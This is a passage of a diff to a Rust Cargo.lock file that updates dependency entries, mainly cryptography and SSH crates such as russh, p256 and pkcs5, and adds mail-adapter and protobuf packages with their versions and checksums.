+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d26c52dbd32dccf2d10cac7725f8eae5296885fb5703b261f7d0a0739ec807ab"
+
 [[package]]
 name = "linux-raw-sys"
 version = "0.12.1"
@@ -3421,6 +4023,20 @@ name = "log"
 version = "0.4.29"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "5e5032e24019045c762d3c0f28f5b6b8bbf38563a65908389bf7978758920897"
+dependencies = [
+ "value-bag",
+]
+
+[[package]]
+name = "mailparse"
+version = "0.16.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "60819a97ddcb831a5614eb3b0174f3620e793e97e09195a395bfa948fd68ed2f"
+dependencies = [
+ "charset",
+ "data-encoding",
+ "quoted_printable",
+]
 
 [[package]]
 name = "matchers"
@@ -3431,6 +4047,12 @@ dependencies = [
  "regex-automata",
 ]
 
+[[package]]
+name = "matchit"
+version = "0.7.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0e7465ac9959cc2b1404e8e2367b43684a6d13790fe23056cc8c6c5a6b7bcb94"
+
 [[package]]
 name = "md-5"
 version = "0.10.6"
@@ -3443,9 +4065,9 @@ dependencies = [
 
 [[package]]
 name = "md5"
-version = "0.7.0"
+version = "0.8.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "490cc448043f947bae3cbee9c203358d62dbee0db12107a74be5c30ccfd09771"
+checksum = "ae960838283323069879657ca3de837e9f7bbb4c7bf6ea7f1b290d5e9476d2e0"
 
 [[package]]
 name = "memchr"
@@ -3459,6 +4081,16 @@ version = "0.3.17"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a"
 
+[[package]]
+name = "mime_guess"
+version = "2.0.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f7c44f8e672c00fe5308fa235f821cb4198414e1c77935c1ab6948d3fd78550e"
+dependencies = [
+ "mime",
+ "unicase",
+]
+
 [[package]]
 name = "mini-moka"
 version = "0.10.3"
@@ -3512,6 +4144,20 @@ dependencies = [
  "windows-sys 0.61.2",
 ]
 
+[[package]]
+name = "ml-kem"
+version = "0.3.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5e15f3e5b957493873e396a66914e83e616b6afe335cdef7efe5c6e1216aba66"
+dependencies = [
+ "hybrid-array",
+ "kem",
+ "module-lattice",
+ "pkcs8 0.11.0",
+ "rand_core 0.10.1",
+ "sha3",
+]
+
 [[package]]
 name = "mockito"
 version = "1.7.2"
@@ -3537,6 +4183,23 @@ dependencies = [
  "tokio",
 ]
 
+[[package]]
+name = "module-lattice"
+version = "0.2.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0c61b87c9683ab7cb1c6871d261ad5479b6b10ceb52c4352aaca3b5d35a8febe"
+dependencies = [
+ "ctutils",
+ "hybrid-array",
+ "num-traits",
+]
+
+[[package]]
+name = "multimap"
+version = "0.10.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1d87ecb2933e8aeadb3e3a02b828fed80a7528047e68b4f424523a0981a3a084"
+
 [[package]]
 name = "mutually_exclusive_features"
 version = "0.1.0"
@@ -3562,9 +4225,9 @@ dependencies = [
 
 [[package]]
 name = "nix"
-version = "0.29.0"
+version = "0.31.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "71e2746dc3a24dd78b3cfcb7be93368c6de9963d30f43a6a73998a9cf4b17b46"
+checksum = "cf20d2fde8ff38632c426f1165ed7436270b44f199fc55284c38276f9db47c3d"
 dependencies = [
  "bitflags 2.11.0",
  "cfg-if",
@@ -3591,6 +4254,26 @@ dependencies = [
  "minimal-lexical",
 ]
 
+[[package]]
+name = "nom"
+version = "8.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "df9761775871bdef83bee530e60050f7e54b1105350d6884eb0fb4f46c2f9405"
+dependencies = [
+ "memchr",
+]
+
+[[package]]
+name = "nom_locate"
+version = "5.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0b577e2d69827c4740cba2b52efaad1c4cc7c73042860b199710b3575c68438d"
+dependencies = [
+ "bytecount",
+ "memchr",
+ "nom 8.0.0",
+]
+
 [[package]]
 name = "normalize-line-endings"
 version = "0.3.0"
@@ -3614,7 +4297,6 @@ checksum = "a5e44f723f1133c9deac646763579fdb3ac745e418f2a7af9cd0c431da1f20b9"
 dependencies = [
  "num-integer",
  "num-traits",
- "rand 0.8.5",
 ]
 
 [[package]]
@@ -3629,7 +4311,6 @@ dependencies = [
  "num-iter",
  "num-traits",
  "rand 0.8.5",
- "serde",
  "smallvec",
  "zeroize",
 ]
@@ -3788,14 +4469,14 @@ version = "0.1.5"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "3cae83056e7cb770211494a0ecf66d9fa7eba7d00977e5bb91f0e925b40b937f"
 dependencies = [
- "cbc",
+ "cbc 0.1.2",
  "cms",
  "der 0.7.10",
- "des",
+ "des 0.8.1",
  "hex",
- "hmac",
+ "hmac 0.12.1",
  "pkcs12",
- "pkcs5",
+ "pkcs5 0.7.1",
  "rand 0.9.2",
  "rc2",
  "sha1 0.10.6",
@@ -3810,24 +4491,51 @@ version = "0.13.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "c9863ad85fa8f4460f9c48cb909d38a0d689dba1f6f6988a5e3e0d31071bcd4b"
 dependencies = [
- "ecdsa",
- "elliptic-curve",
- "primeorder",
+ "ecdsa 0.16.9",
+ "elliptic-curve 0.13.8",
+ "primeorder 0.13.6",
  "sha2 0.10.9",
 ]
 
+[[package]]
+name = "p256"
+version = "0.14.0-rc.10"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "41adc63effe99d48837a8cc0e6d7a77e32ae6a07f6000df466178dbc2193093e"
+dependencies = [
+ "ecdsa 0.17.0-rc.18",
+ "elliptic-curve 0.14.0-rc.33",
+ "primefield",
+ "primeorder 0.14.0-rc.10",
+ "sha2 0.11.0",
+]
+
 [[package]]
 name = "p384"
 version = "0.13.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "fe42f1670a52a47d448f14b6a5c61dd78fce51856e68edaa38f7ae3a46b8d6b6"
 dependencies = [
- "ecdsa",
- "elliptic-curve",
- "primeorder",
+ "ecdsa 0.16.9",
+ "elliptic-curve 0.13.8",
+ "primeorder 0.13.6",
  "sha2 0.10.9",
 ]
 
+[[package]]
+name = "p384"
+version = "0.14.0-rc.10"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9bd5333afa5ae0347f39e6a0f2c9c155da431583fd71fe5555bd0521b4ccaf02"
+dependencies = [
+ "ecdsa 0.17.0-rc.18",
+ "elliptic-curve 0.14.0-rc.33",
+ "fiat-crypto 0.3.0",
+ "primefield",
+ "primeorder 0.14.0-rc.10",
+ "sha2 0.11.0",
+]
+
 [[package]]
 name = "p521"
 version = "0.13.3"
@@ -3835,13 +4543,27 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "0fc9e2161f1f215afdfce23677034ae137bbd45016a880c2eb3ba8eb95f085b2"
 dependencies = [
  "base16ct 0.2.0",
- "ecdsa",
- "elliptic-curve",
- "primeorder",
+ "ecdsa 0.16.9",
+ "elliptic-curve 0.13.8",
+ "primeorder 0.13.6",
  "rand_core 0.6.4",
  "sha2 0.10.9",
 ]
 
+[[package]]
+name = "p521"
+version = "0.14.0-rc.10"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a3a5297f53dc16d35909060ba3032cff7867e8809f01e273ff325579d5f0ceae"
+dependencies = [
+ "base16ct 1.0.0",
+ "ecdsa 0.17.0-rc.18",
+ "elliptic-curve 0.14.0-rc.33",
+ "primefield",
+ "primeorder 0.14.0-rc.10",
+ "sha2 0.11.0",
+]
+
 [[package]]
 name = "pageant"
 version = "0.2.0"
@@ -3901,13 +4623,11 @@ dependencies = [
 
 [[package]]
 name = "password-hash"
-version = "0.5.0"
+version = "0.6.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "346f04948ba92c43e8469c1ee6736c7563d71012b17d40745260fe106aac2166"
+checksum = "aab41826031698d6ffcd9cff78ef56ef998e39dc7e5067cdfebe373842d4723b"
 dependencies = [
- "base64ct",
- "rand_core 0.6.4",
- "subtle",
+ "phc",
 ]
 
 [[package]]
@@ -3916,12 +4636,6 @@ version = "1.0.15"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "57c0d7b74b563b49d38dae00a0c37d4d6de9b432382b2892f0574ddcae73fd0a"
 
-[[package]]
-name = "pastey"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "35fb2e5f958ec131621fdd531e9fc186ed768cbe395337403ae56c17a74c68ec"
-
 [[package]]
 name = "pathdiff"
 version = "0.2.3"
@@ -3935,9 +4649,46 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "f8ed6a7761f76e3b9f92dfb0a60a6a6477c61024b775147ff0973a02653abaf2"
 dependencies = [
  "digest 0.10.7",
- "hmac",
+ "hmac 0.12.1",
 ]
 
+[[package]]
+name = "pbkdf2"
+version = "0.13.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "112d82ceb8c5bf524d9af484d4e4970c9fd5a0cc15ba14ad93dccd28873b0629"
+dependencies = [
+ "digest 0.11.2",
+ "hmac 0.13.0",
+]
+
+[[package]]
+name = "peg"
+version = "0.6.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9f76678828272f177ac33b7e2ac2e3e73cc6c1cd1e3e387928aa69562fa51367"
+dependencies = [
+ "peg-macros",
+ "peg-runtime",
+]
+
+[[package]]
+name = "peg-macros"
+version = "0.6.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "636d60acf97633e48d266d7415a9355d4389cea327a193f87df395d88cd2b14d"
+dependencies = [
+ "peg-runtime",
+ "proc-macro2",
+ "quote",
+]
+
+[[package]]
+name = "peg-runtime"
+version = "0.6.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9555b1514d2d99d78150d3c799d4c357a3e2c2a8062cd108e93a06d9057629c5"
+
 [[package]]
 name = "pem-rfc7468"
 version = "0.7.0"
@@ -4012,7 +4763,17 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "b4c5cc86750666a3ed20bdaf5ca2a0344f9c67674cae0515bec2da16fbaa47db"
 dependencies = [
  "fixedbitset",
- "indexmap",
+ "indexmap 2.14.0",
+]
+
+[[package]]
+name = "phc"
+version = "0.6.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "44dc769b75f93afdddd8c7fa12d685292ddeff1e66f7f0f3a234cf1818afe892"
+dependencies = [
+ "base64ct",
+ "ctutils",
 ]
 
 [[package]]
@@ -4079,6 +4840,12 @@ version = "0.2.17"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "a89322df9ebe1c1578d689c92318e070967d1042b512afbe49518723f4e6d5cd"
 
+[[package]]
+name = "pin-utils"
+version = "0.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184"
+
 [[package]]
 name = "pinky-swear"
 version = "6.2.1"
@@ -4091,6 +4858,35 @@ dependencies = [
  "tracing",
 ]
 
+[[package]]
+name = "pipe-adapter-mail"
+version = "0.1.0"
+dependencies = [
+ "async-imap",
+ "async-native-tls",
+ "async-pop",
+ "async-std",
+ "async-trait",
+ "futures-util",
+ "lettre",
+ "mailparse",
+ "pipe-adapter-sdk",
+ "serde",
+ "serde_json",
+ "thiserror 1.0.69",
+ "tokio",
+]
+
+[[package]]
+name = "pipe-adapter-sdk"
+version = "0.1.0"
+dependencies = [
+ "async-trait",
+ "serde",
+ "serde_json",
+ "thiserror 1.0.69",
+]
+
 [[package]]
 name = "piper"
 version = "0.2.5"
@@ -4144,15 +4940,32 @@ version = "0.7.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "e847e2c91a18bfa887dd028ec33f2fe6f25db77db3619024764914affe8b69a6"
 dependencies = [
- "aes",
- "cbc",
+ "aes 0.8.4",
+ "cbc 0.1.2",
  "der 0.7.10",
- "pbkdf2",
- "scrypt",
+ "pbkdf2 0.12.2",
+ "scrypt 0.11.0",
  "sha2 0.10.9",
  "spki 0.7.3",
 ]
 
+[[package]]
+name = "pkcs5"
+version = "0.8.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "63d440a804ec8d6fafbb6b84471e013286658d373248927692ab3366686220ca"
+dependencies = [
+ "aes 0.9.1",
+ "aes-gcm 0.11.0",
+ "cbc 0.2.1",
+ "der 0.8.0",
+ "pbkdf2 0.13.0",
+ "rand_core 0.10.1",
+ "scrypt 0.12.0",
+ "sha2 0.11.0",
+ "spki 0.8.0",
+]
+
 [[package]]
 name = "pkcs8"
 version = "0.10.2"
@@ -4160,18 +4973,18 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "f950b2377845cebe5cf8b5165cb3cc1a5e0fa5cfa3e1f7f55707d8fd82e0a7b7"
 dependencies = [
  "der 0.7.10",
- "pkcs5",
- "rand_core 0.6.4",
  "spki 0.7.3",
 ]
 
 [[package]]
 name = "pkcs8"
-version = "0.11.0-rc.11"
+version = "0.11.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "12922b6296c06eb741b02d7b5161e3aaa22864af38dfa025a1a3ba3f68c84577"
+checksum = "451913da69c775a56034ea8d9003d27ee8948e12443eae7c038ba100a4f21cb7"
 dependencies = [
  "der 0.8.0",
+ "pkcs5 0.8.1",
+ "rand_core 0.10.1",
  "spki 0.8.0",
 ]
 
@@ -4219,13 +5032,13 @@ dependencies = [
 
 [[package]]
 name = "poly1305"
-version = "0.8.0"
+version = "0.9.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8159bd90725d2df49889a078b54f4f79e87f1f8a8444194cdca81d38f5393abf"
+checksum = "a00baa632505d05512f48a963e16051c54fda9a95cc9acea1a4e3c90991c4a2e"
 dependencies = [
- "cpufeatures 0.2.17",
- "opaque-debug",
- "universal-hash",
+ "cpufeatures 0.3.0",
+ "universal-hash 0.6.1",
+ "zeroize",
 ]
 
 [[package]]
@@ -4237,7 +5050,18 @@ dependencies = [
  "cfg-if",
  "cpufeatures 0.2.17",
  "opaque-debug",
- "universal-hash",
+ "universal-hash 0.5.1",
+]
+
+[[package]]
+name = "polyval"
+version = "0.7.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7dfc63250416fea14f5749b90725916a6c903f599d51cb635aa7a52bfd03eede"
+dependencies = [
+ "cpubits",
+ "cpufeatures 0.3.0",
+ "universal-hash 0.6.1",
 ]
 
 [[package]]
@@ -4310,13 +5134,36 @@ dependencies = [
  "syn 2.0.117",
 ]
 
+[[package]]
+name = "primefield"
+version = "0.14.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c555a6e4eb7d4e158fcb028c835c3b8642206ddc279b5c6b202ef9a8bdb592f4"
+dependencies = [
+ "crypto-bigint 0.7.5",
+ "crypto-common 0.2.2",
+ "ff 0.14.0",
+ "rand_core 0.10.1",
+ "subtle",
+ "zeroize",
+]
+
 [[package]]
 name = "primeorder"
 version = "0.13.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "353e1ca18966c16d9deb1c69278edbc5f194139612772bd9537af60ac231e1e6"
 dependencies = [
- "elliptic-curve",
+ "elliptic-curve 0.13.8",
+]
+
+[[package]]
+name = "primeorder"
+version = "0.14.0-rc.10"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7d2793f22b9b6fd11ef3ac1d59bf003c2573593e4968702341605c2748fd90bf"
+dependencies = [
+ "elliptic-curve 0.14.0-rc.33",
 ]
 
 [[package]]
@@ -4344,36 +5191,177 @@ dependencies = [
 ]
 
 [[package]]
-name = "proc-macro-error-attr2"
-version = "2.0.0"
+name = "proc-macro2"
+version = "1.0.106"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "96de42df36bb9bba5542fe9f1a054b8cc87e172759a1868aa05c1f3acc89dfc5"
+checksum = "8fd00f0bb2e90d81d1044c2b32617f68fcb9fa3bb7640c23e9c748e53fb30934"
 dependencies = [
- "proc-macro2",
- "quote",
+ "unicode-ident",
 ]
 
 [[package]]
-name = "proc-macro-error2"
-version = "2.0.1"
+name = "procfs"
+version = "0.16.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "731e0d9356b0c25f16f33b5be79b1c57b562f141ebfcdb0ad8ac2c13a24293b4"
+dependencies = [
+ "bitflags 2.11.0",
+ "hex",
+ "lazy_static",
+ "procfs-core",
+ "rustix 0.38.44",
+]
+
+[[package]]
+name = "procfs-core"
+version = "0.16.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2d3554923a69f4ce04c4a754260c338f505ce22642d3830e049a399fc2059a29"
+dependencies = [
+ "bitflags 2.11.0",
+ "hex",
+]
+
+[[package]]
+name = "prometheus"
+version = "0.13.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3d33c28a30771f7f96db69893f78b857f7450d7e0237e9c8fc6427a81bae7ed1"
+dependencies = [
+ "cfg-if",
+ "fnv",
+ "lazy_static",
+ "libc",
+ "memchr",
+ "parking_lot",
+ "procfs",
+ "protobuf",
+ "thiserror 1.0.69",
+]
+
+[[package]]
+name = "prost"
+version = "0.12.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "deb1435c188b76130da55f17a466d252ff7b1418b2ad3e037d127b94e3411f29"
+dependencies = [
+ "bytes",
+ "prost-derive",
+]
+
+[[package]]
+name = "prost-build"
+version = "0.12.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "22505a5c94da8e3b7c2996394d1c933236c4d743e81a410bcca4e6989fc066a4"
+dependencies = [
+ "bytes",
+ "heck",
+ "itertools 0.12.1",
+ "log",
+ "multimap",
+ "once_cell",
+ "petgraph",
+ "prettyplease",
+ "prost",
+ "prost-types",
+ "regex",
+ "syn 2.0.117",
+ "tempfile",
+]
+
+[[package]]
+name = "prost-derive"
+version = "0.12.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "11ec05c52be0a07b08061f7dd003e7d7092e0472bc731b4af7bb1ef876109802"
+checksum = "81bddcdb20abf9501610992b6759a4c888aef7d1a7247ef75e2404275ac24af1"
 dependencies = [
- "proc-macro-error-attr2",
+ "anyhow",
+ "itertools 0.12.1",
  "proc-macro2",
  "quote",
  "syn 2.0.117",
 ]
 
 [[package]]
-name = "proc-macro2"
-version = "1.0.106"
+name = "prost-types"
+version = "0.12.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8fd00f0bb2e90d81d1044c2b32617f68fcb9fa3bb7640c23e9c748e53fb30934"
+checksum = "9091c90b0a32608e984ff2fa4091273cbdd755d54935c51d520887f4a1dbd5b0"
 dependencies = [
- "unicode-ident",
+ "prost",
+]
+
+[[package]]
+name = "protobuf"
+version = "2.28.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "106dd99e98437432fed6519dedecfade6a06a73bb7b2a1e019fdd2bee5778d94"
+
+[[package]]
+name = "protoc-bin-vendored"
+version = "3.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d1c381df33c98266b5f08186583660090a4ffa0889e76c7e9a5e175f645a67fa"
+dependencies = [
+ "protoc-bin-vendored-linux-aarch_64",
+ "protoc-bin-vendored-linux-ppcle_64",
+ "protoc-bin-vendored-linux-s390_64",
+ "protoc-bin-vendored-linux-x86_32",
+ "protoc-bin-vendored-linux-x86_64",
+ "protoc-bin-vendored-macos-aarch_64",
+ "protoc-bin-vendored-macos-x86_64",
+ "protoc-bin-vendored-win32",
 ]
 
+[[package]]
+name = "protoc-bin-vendored-linux-aarch_64"
+version = "3.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c350df4d49b5b9e3ca79f7e646fde2377b199e13cfa87320308397e1f37e1a4c"
+
+[[package]]
+name = "protoc-bin-vendored-linux-ppcle_64"
+version = "3.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a55a63e6c7244f19b5c6393f025017eb5d793fd5467823a099740a7a4222440c"
+
+[[package]]
+name = "protoc-bin-vendored-linux-s390_64"
+version = "3.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1dba5565db4288e935d5330a07c264a4ee8e4a5b4a4e6f4e83fad824cc32f3b0"
+
+[[package]]
+name = "protoc-bin-vendored-linux-x86_32"
+version = "3.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8854774b24ee28b7868cd71dccaae8e02a2365e67a4a87a6cd11ee6cdbdf9cf5"
+
+[[package]]
+name = "protoc-bin-vendored-linux-x86_64"
+version = "3.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b38b07546580df720fa464ce124c4b03630a6fb83e05c336fea2a241df7e5d78"
+
+[[package]]
+name = "protoc-bin-vendored-macos-aarch_64"
+version = "3.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "89278a9926ce312e51f1d999fee8825d324d603213344a9a706daa009f1d8092"
+
+[[package]]
+name = "protoc-bin-vendored-macos-x86_64"
+version = "3.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "81745feda7ccfb9471d7a4de888f0652e806d5795b61480605d4943176299756"
+
+[[package]]
+name = "protoc-bin-vendored-win32"
+version = "3.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "95067976aca6421a523e491fce939a3e65249bac4b977adee0ee9771568e8aa3"
+
 [[package]]
 name = "pulldown-cmark"
 version = "0.9.6"
@@ -4394,6 +5382,12 @@ dependencies = [
  "proc-macro2",
 ]
 
+[[package]]
+name = "quoted_printable"
+version = "0.5.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "478e0585659a122aa407eb7e3c0e1fa51b1d8a870038bd29f0cf4a8551eea972"
+
 [[package]]
 name = "r-efi"
 version = "5.3.0"
@@ -4440,6 +5434,17 @@ dependencies = [
  "rand_core 0.9.5",
 ]
 
+[[package]]
+name = "rand"
+version = "0.10.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d2e8e8bcc7961af1fdac401278c6a831614941f6164ee3bf4ce61b7edb162207"
+dependencies = [
+ "chacha20",
+ "getrandom 0.4.2",
+ "rand_core 0.10.1",
+]
+
 [[package]]
 name = "rand_chacha"
 version = "0.2.2"
@@ -4499,9 +5504,9 @@ dependencies = [
 
 [[package]]
 name = "rand_core"
-version = "0.10.0-rc-3"
+version = "0.10.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f66ee92bc15280519ef199a274fe0cafff4245d31bc39aaa31c011ad56cb1f05"
+checksum = "63b8176103e19a2643978565ca18b50549f6101881c443590420e4dc998a3c69"
 
 [[package]]
 name = "rand_hc"
@@ -4518,7 +5523,7 @@ version = "0.8.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "62c64daa8e9438b84aaae55010a93f396f8e60e3911590fcba770d04643fc1dd"
 dependencies = [
- "cipher",
+ "cipher 0.4.4",
 ]
 
 [[package]]
@@ -4576,6 +5581,26 @@ dependencies = [
  "bitflags 2.11.0",
 ]
 
+[[package]]
+name = "ref-cast"
+version = "1.0.25"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f354300ae66f76f1c85c5f84693f0ce81d747e2c3f21a45fef496d89c960bf7d"
+dependencies = [
+ "ref-cast-impl",
+]
+
+[[package]]
+name = "ref-cast-impl"
+version = "1.0.25"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b7186006dcb21920990093f30e3dea63b7d6e977bf1256be20c3563a5db070da"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.117",
+]
+
 [[package]]
 name = "regex"
 version = "1.12.3"
@@ -4643,10 +5668,12 @@ dependencies = [
  "system-configuration",
  "tokio",
  "tokio-native-tls",
+ "tokio-util",
  "tower-service",
  "url",
  "wasm-bindgen",
  "wasm-bindgen-futures",
+ "wasm-streams",
  "web-sys",
  "winreg",
 ]
@@ -4663,7 +5690,17 @@ version = "0.4.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "f8dd2a808d456c4a54e300a23e9f5a67e122c3024119acbfd73e3bf664491cb2"
 dependencies = [
- "hmac",
+ "hmac 0.12.1",
+ "subtle",
+]
+
+[[package]]
+name = "rfc6979"
+version = "0.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5236ce872cac07e0fb3969b0cbf468c7d2f37d432f1b627dcb7b8d34563fb0c3"
+dependencies = [
+ "hmac 0.13.0",
  "subtle",
 ]
 
@@ -4745,94 +5782,105 @@ dependencies = [
 
 [[package]]
 name = "rsa"
-version = "0.10.0-rc.12"
+version = "0.10.0-rc.18"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c9a2b1eacbc34fbaf77f6f1db1385518446008d49b9f9f59dc9d1340fce4ca9e"
+checksum = "30b2aa4ba0d89f73d1e332df05be0eeab8840351c36ca5654341dfdb57bb3caf"
 dependencies = [
  "const-oid 0.10.2",
- "crypto-bigint 0.7.0-rc.18",
+ "crypto-bigint 0.7.5",
  "crypto-primes",
  "digest 0.11.2",
  "pkcs1 0.8.0-rc.4",
- "pkcs8 0.11.0-rc.11",
- "rand_core 0.10.0-rc-3",
+ "pkcs8 0.11.0",
+ "rand_core 0.10.1",
  "sha2 0.11.0",
- "signature 3.0.0-rc.6",
+ "signature 3.0.0",
  "spki 0.8.0",
  "zeroize",
 ]
 
 [[package]]
 name = "russh"
-version = "0.58.0"
+version = "0.61.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "30f6ce4f5d5105b934cfb4b8b3028aab4d5dcdff863cb8dda9edd06d39b8c4e8"
+checksum = "bbf893f64684e58da8a68d56a5e84d1cf0440226274c515770fe267707a7d0b0"
 dependencies = [
- "aes",
+ "aes 0.9.1",
  "aws-lc-rs",
  "bitflags 2.11.0",
- "block-padding",
+ "block-padding 0.4.2",
  "byteorder",
  "bytes",
- "cbc",
- "ctr",
- "curve25519-dalek",
+ "cbc 0.2.1",
+ "cipher 0.5.2",
+ "crypto-bigint 0.7.5",
+ "ctr 0.10.1",
+ "curve25519-dalek 5.0.0-rc.0",
  "data-encoding",
  "delegate",
- "der 0.7.10",
- "digest 0.10.7",
- "ecdsa",
- "ed25519-dalek",
- "elliptic-curve",
+ "der 0.8.0",
+ "digest 0.11.2",
+ "ecdsa 0.17.0-rc.18",
+ "ed25519-dalek 3.0.0-rc.0",
+ "elliptic-curve 0.14.0-rc.33",
  "enum_dispatch",
  "flate2",
  "futures",
  "generic-array 1.3.5",
- "getrandom 0.2.17",
+ "getrandom 0.4.2",
+ "ghash 0.6.0",
  "hex-literal",
- "hmac",
- "inout",
- "internal-russh-forked-ssh-key",
- "libcrux-ml-kem",
+ "hmac 0.13.0",
+ "inout 0.2.2",
+ "internal-russh-num-bigint",
+ "keccak",
  "log",
  "md5",
+ "ml-kem",
+ "module-lattice",
  "num-bigint",
- "p256",
- "p384",
- "p521",
+ "p256 0.14.0-rc.10",
+ "p384 0.14.0-rc.10",
+ "p521 0.14.0-rc.10",
  "pageant",
- "pbkdf2",
+ "pbkdf2 0.13.0",
  "pkcs1 0.8.0-rc.4",
- "pkcs5",
- "pkcs8 0.10.2",
- "rand 0.9.2",
- "rand_core 0.10.0-rc-3",
- "rsa 0.10.0-rc.12",
+ "pkcs5 0.8.1",
+ "pkcs8 0.11.0",
+ "polyval 0.7.1",
+ "rand 0.10.1",
+ "rand_core 0.10.1",
+ "rsa 0.10.0-rc.18",
  "russh-cryptovec",
  "russh-util",
- "sec1",
- "sha1 0.10.6",
- "sha2 0.10.9",
- "signature 2.2.0",
- "spki 0.7.3",
- "ssh-encoding",
+ "salsa20 0.11.0",
+ "scrypt 0.12.0",
+ "sec1 0.8.1",
+ "sha1 0.11.0",
+ "sha2 0.11.0",
+ "sha3",
+ "signature 3.0.0",
+ "spki 0.8.0",
+ "ssh-encoding 0.3.0-rc.9",
+ "ssh-key 0.7.0-rc.10",
  "subtle",
  "thiserror 2.0.18",
  "tokio",
  "typenum",
+ "universal-hash 0.6.1",
  "zeroize",
 ]
 
 [[package]]
 name = "russh-cryptovec"
-version = "0.58.0"
+version = "0.61.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cc109749696a6853cf2c3fba3537635264f3519a78a9f43c6b08c91edc024384"
+checksum = "443f6bbcfacb34a1aab2b12b99bf08e0c63abdc5a0db261901365df9d57fff51"
 dependencies = [
  "log",
  "nix",
- "ssh-encoding",
- "windows-sys 0.59.0",
+ "ssh-encoding 0.3.0-rc.9",
+ "windows-sys 0.61.2",
 ]
 
 [[package]]
@@ -4872,7 +5920,7 @@ version = "4.1.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "faf0c4a6ece9950b9abdb62b1cfcf2a68b3b67a10ba445b3bb85be2a293d0632"
 dependencies = [
- "nom",
+ "nom 7.1.3",
 ]
 
 [[package]]
@@ -4889,6 +5937,19 @@ dependencies = [
  "windows-sys 0.48.0",
 ]
 
+[[package]]
+name = "rustix"
+version = "0.38.44"
+source = "registry+https://github.com/rust-lang/crates.io-index"
